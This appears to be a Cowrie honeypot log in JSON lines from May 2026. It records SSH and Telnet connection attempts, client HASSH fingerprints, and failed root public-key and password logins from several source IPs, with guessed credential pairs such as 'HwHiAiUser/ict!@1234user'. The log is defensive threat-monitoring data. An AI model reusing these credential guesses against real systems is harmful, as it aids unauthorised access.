{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:48:41.068633Z","src_ip":"103.15.226.202","session":"476a388f86b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28718,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e259c62c78","protocol":"telnet","message":"New connection: 212.55.149.117:28718 (10.17.0.5:23) [session: a1e259c62c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:49:21.156543Z"}
{"eventid":"cowrie.session.closed","duration":120.01215958595276,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:49:32.377627Z","src_ip":"212.55.149.117","session":"038191157ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.401137351989746,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:20.557563Z","src_ip":"212.55.149.117","session":"a1e259c62c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5463,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fed52f9721","protocol":"telnet","message":"New connection: 212.55.149.117:5463 (10.17.0.5:23) [session: 44fed52f9721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:35.075892Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":51146,"dst_ip":"10.17.0.5","dst_port":22,"session":"65817eed3379","protocol":"ssh","message":"New connection: 57.128.223.80:51146 (10.17.0.5:22) [session: 65817eed3379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:50.634878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:50.830336Z","src_ip":"57.128.223.80","session":"65817eed3379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:50.931241Z","src_ip":"57.128.223.80","session":"65817eed3379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123123","message":"login attempt [user/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:51.396776Z","src_ip":"57.128.223.80","session":"65817eed3379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:50:52.506526Z","src_ip":"57.128.223.80","session":"65817eed3379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.168.164.241","src_port":48456,"dst_ip":"10.17.0.5","dst_port":22,"session":"2def3733ebd7","protocol":"ssh","message":"New connection: 95.168.164.241:48456 (10.17.0.5:22) [session: 2def3733ebd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.142466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.146756Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.234488Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdJDe0XchyFyn3bpFVUQsj4DjDjS2VOfEcF58iFkomHwh/6wM2aFvv4utG4hSWaCGfUfIdFopidhqvYMW8C7acXg628qBXvR1YFRQ7Fsv3awWUhc8AbZkV0HLYfC+qSV/OHY0iknzLGlOv6MiNU8VFEup+50y7VTFlw93MGSBetcSgSqxjCaVDoR08+KZ4GhNm9LB/SZp5VflbK9SF2KIgVt1I1vP0kYBlxsG/kLf4FAEs/qBVjQucUWPV+dXlCiUxi+wcmpNdK7+yXdjALWwso5ymkIEo6ktU4SnGz0Ilxiq339upMek8Lnpgev2Rm/M605oxDJf8hCpKKqwWSz5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.651881Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdJDe0XchyFyn3bpFVUQsj4DjDjS2VOfEcF58iFkomHwh/6wM2aFvv4utG4hSWaCGfUfIdFopidhqvYMW8C7acXg628qBXvR1YFRQ7Fsv3awWUhc8AbZkV0HLYfC+qSV/OHY0iknzLGlOv6MiNU8VFEup+50y7VTFlw93MGSBetcSgSqxjCaVDoR08+KZ4GhNm9LB/SZp5VflbK9SF2KIgVt1I1vP0kYBlxsG/kLf4FAEs/qBVjQucUWPV+dXlCiUxi+wcmpNdK7+yXdjALWwso5ymkIEo6ktU4SnGz0Ilxiq339upMek8Lnpgev2Rm/M605oxDJf8hCpKKqwWSz5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.656046Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM49IB9rIjNiBqhqq77wPHlb7r9HM7dYBoov9L2A+i4l","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.747483Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM49IB9rIjNiBqhqq77wPHlb7r9HM7dYBoov9L2A+i4l","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.751170Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTreeVImUMr+kywNSBQWN7G57kLXwMFuPhUzq0CS8pKsDeo4FI3xHGyxqSd8CYN8UgG7rjryWRmU/dKRk6dOEEPfVpuxMDsACX1jKvpPNR44oNwIHBMgPnbNJdDyWx0GOjdJtCObWg9McRAoCSkDwya6i3AFvU7kvLusJY1KhoM1x46s0H+G+lSsRJ1JIamukN+bTlRw2xjCWZWWeaw7VR5v0gUIiVYmcZ7ciFSuky8PdzUHTpXwyUFdiKQVUSv+v49aHEN7oHuJIYvNksw6v/BHuBr17EF9g0ACZOaXU/Dh4RoiQOJBRBU4l2gcTfyU6crgIhaO2T+WCdMi6eTuTb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.839522Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTreeVImUMr+kywNSBQWN7G57kLXwMFuPhUzq0CS8pKsDeo4FI3xHGyxqSd8CYN8UgG7rjryWRmU/dKRk6dOEEPfVpuxMDsACX1jKvpPNR44oNwIHBMgPnbNJdDyWx0GOjdJtCObWg9McRAoCSkDwya6i3AFvU7kvLusJY1KhoM1x46s0H+G+lSsRJ1JIamukN+bTlRw2xjCWZWWeaw7VR5v0gUIiVYmcZ7ciFSuky8PdzUHTpXwyUFdiKQVUSv+v49aHEN7oHuJIYvNksw6v/BHuBr17EF9g0ACZOaXU/Dh4RoiQOJBRBU4l2gcTfyU6crgIhaO2T+WCdMi6eTuTb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.843958Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAFbneEZNbgBse+H3eYkkPsZsl6DC5dwdyXl6AzVeH4Ob1uItLX60YfG+0FWsNv2KlB54FhLRbyjSnnOFDtojayG/hpTs680pRU2TPIq2wET6U3U+9JdjS8DTU2yJFXca9UL5GldaSiDwvCssMil7M8co6rHNQzOXrZ7Hk/PjdatNv/32idjX4XwDlp/+BywKYbG8MfE9NbC429qI4EfyMzVqV/PKAWfyCbhRavksbaE4aVRYCM5n/ILDhq4gCHpNzTtp4Wvw9K1lkjZReOZCuaSuv7OkbsJ3z1iDg9px0xuFbTMYtD1YE2YY82l54V133tcf1nsOobZGSalRhjIF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.932916Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAFbneEZNbgBse+H3eYkkPsZsl6DC5dwdyXl6AzVeH4Ob1uItLX60YfG+0FWsNv2KlB54FhLRbyjSnnOFDtojayG/hpTs680pRU2TPIq2wET6U3U+9JdjS8DTU2yJFXca9UL5GldaSiDwvCssMil7M8co6rHNQzOXrZ7Hk/PjdatNv/32idjX4XwDlp/+BywKYbG8MfE9NbC429qI4EfyMzVqV/PKAWfyCbhRavksbaE4aVRYCM5n/ILDhq4gCHpNzTtp4Wvw9K1lkjZReOZCuaSuv7OkbsJ3z1iDg9px0xuFbTMYtD1YE2YY82l54V133tcf1nsOobZGSalRhjIF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:56.936362Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqHrPQItTOyev1q6gTdiPzGjAAtIj9HhsbyZlK8XpEKxdI550u0o7cAO+dhW8+i+AgUDqDiDP3ypeTSVTZBG4e4kduW7O5pZS11lVRoV9363BZSbcS2W/+ib3XzKt9hcr9hdO4FnodKDQ7mmC1X36TBCFxGx+SEtgngx1T/Piy0KKUm5KWiPf6PDa4tKTCKCYNIgc9AYiq+OtEzZdH6HNfoSYtwKxSn/6kCgTLbmExX/ytkYJ2Y5uC4iauHB0xzDI7j7UUa0B08WTL+4kH0FklQtyU09R4vTpdcqvvWyyn16KhHVY+QoR/6DwCOlHRwhEXQ7vaH5t0Jk2QFM4eobd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:57.025223Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqHrPQItTOyev1q6gTdiPzGjAAtIj9HhsbyZlK8XpEKxdI550u0o7cAO+dhW8+i+AgUDqDiDP3ypeTSVTZBG4e4kduW7O5pZS11lVRoV9363BZSbcS2W/+ib3XzKt9hcr9hdO4FnodKDQ7mmC1X36TBCFxGx+SEtgngx1T/Piy0KKUm5KWiPf6PDa4tKTCKCYNIgc9AYiq+OtEzZdH6HNfoSYtwKxSn/6kCgTLbmExX/ytkYJ2Y5uC4iauHB0xzDI7j7UUa0B08WTL+4kH0FklQtyU09R4vTpdcqvvWyyn16KhHVY+QoR/6DwCOlHRwhEXQ7vaH5t0Jk2QFM4eobd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:57.028868Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:51:57.117812Z","src_ip":"95.168.164.241","session":"2def3733ebd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58958,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64e195d749e","protocol":"ssh","message":"New connection: 103.15.226.202:58958 (10.17.0.5:22) [session: a64e195d749e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:13.786926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:13.791657Z","src_ip":"103.15.226.202","session":"a64e195d749e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:14.043024Z","src_ip":"103.15.226.202","session":"a64e195d749e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HwHiAiUser","password":"ict!@1234user","message":"login attempt [HwHiAiUser/ict!@1234user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:14.781261Z","src_ip":"103.15.226.202","session":"a64e195d749e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:16.029432Z","src_ip":"103.15.226.202","session":"a64e195d749e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.250.61.10","src_port":56080,"dst_ip":"10.17.0.5","dst_port":22,"session":"85760c57aae1","protocol":"ssh","message":"New connection: 94.250.61.10:56080 (10.17.0.5:22) [session: 85760c57aae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:23.493600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:23.497741Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:23.608746Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdJDe0XchyFyn3bpFVUQsj4DjDjS2VOfEcF58iFkomHwh/6wM2aFvv4utG4hSWaCGfUfIdFopidhqvYMW8C7acXg628qBXvR1YFRQ7Fsv3awWUhc8AbZkV0HLYfC+qSV/OHY0iknzLGlOv6MiNU8VFEup+50y7VTFlw93MGSBetcSgSqxjCaVDoR08+KZ4GhNm9LB/SZp5VflbK9SF2KIgVt1I1vP0kYBlxsG/kLf4FAEs/qBVjQucUWPV+dXlCiUxi+wcmpNdK7+yXdjALWwso5ymkIEo6ktU4SnGz0Ilxiq339upMek8Lnpgev2Rm/M605oxDJf8hCpKKqwWSz5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.132928Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:90:af:ee:cf:3c:5e:32:52:6d:dd:ab:e0:69:3a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdJDe0XchyFyn3bpFVUQsj4DjDjS2VOfEcF58iFkomHwh/6wM2aFvv4utG4hSWaCGfUfIdFopidhqvYMW8C7acXg628qBXvR1YFRQ7Fsv3awWUhc8AbZkV0HLYfC+qSV/OHY0iknzLGlOv6MiNU8VFEup+50y7VTFlw93MGSBetcSgSqxjCaVDoR08+KZ4GhNm9LB/SZp5VflbK9SF2KIgVt1I1vP0kYBlxsG/kLf4FAEs/qBVjQucUWPV+dXlCiUxi+wcmpNdK7+yXdjALWwso5ymkIEo6ktU4SnGz0Ilxiq339upMek8Lnpgev2Rm/M605oxDJf8hCpKKqwWSz5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.136636Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
